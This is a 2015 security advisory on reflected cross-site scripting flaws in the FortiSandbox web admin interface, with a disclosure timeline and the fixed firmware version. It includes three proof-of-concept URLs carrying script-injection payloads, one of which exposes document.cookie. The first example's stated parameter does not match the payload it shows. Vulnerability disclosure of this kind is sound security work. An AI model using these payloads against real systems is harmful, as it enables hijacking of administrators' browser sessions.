Multiple XSS vulnerabilities in FortiSandbox WebUI

Type securityvulns
Reporter Securityvulns
Modified 2015-08-24T00:00:00


[+] Credits: John Page aka hyp3rlinx

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[+] Source:

Vendor: PSIRT ID: 1418018


FortiSandbox 3000D v2.02 build0042

Vulnerability Type:


CVE Reference:


Advisory Information:

Multiple XSS vulnerabilities in FortiSandbox WebUI


A remote unauthenticated attacker may be able to execute arbitrary code in the security context of an authenticated user's browser session.

Affected Products

FortiSandbox 2.0.4 and lower. Solutions

Upgrade to FortiSandbox 2.1 or above.

Vulnerability Details:

The Web User Interface of FortiSandbox version 2.0.4 and below is vulnerable to multiple reflected Cross-Site Scripting vulnerabilities.

5 potential XSS vectors were identified:

  • Fortiview threats by users search filtered by serial
  • Fortiview threats by users search filtered by vdom
  • Export report feature in the Fortiview search page
  • Screenshot download generated by the VM scan feature
  • PCAP file download generated by the VM scan feature

Exploit code(s):

1) https://localhost/alerts/summary/profile/?prof_type=byusers-profile&from=byusers-filter&username=<script>alert(666)</script><script>alert('XSS by hyp3rlinx 06012015')</script>&vdom=&from_time_period=1440#frag-1

vulnerable parameter: "serial"

2) https://localhost/csearch/report/export/?urlForCreatingReport=<script>alert(666)</script><script>alert('XSS by hyp3rlinx June 1, 2015')</script>

vulnerable parameter: "urlForCreatingReport"

3) https://localhost/analysis/detail/download/screenshot?id="/><script>alert('XSS by hyp3rlinx June 1, 2015 '%2bdocument.cookie)</script>

vulnerable parameter: "id"

Disclosure Timeline:

Vendor Notification: June 1, 2015 Vendor Disclosure: July 24, 2015 August 1, 2015 : Public Disclosure

Fixed In Firmware 2.1

Discovery Status:


Exploitation Technique:

Remote unauthenticated

Severity Level:



Request Method(s): [+] GET

Vulnerable Product: [+] FortiSandbox 3000D v2.02

Vulnerable Parameter(s): [+] serial, urlForCreatingReport, id

Affected Area(s): [+] FortiSandbox Web Admin UI


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by hyp3rlinx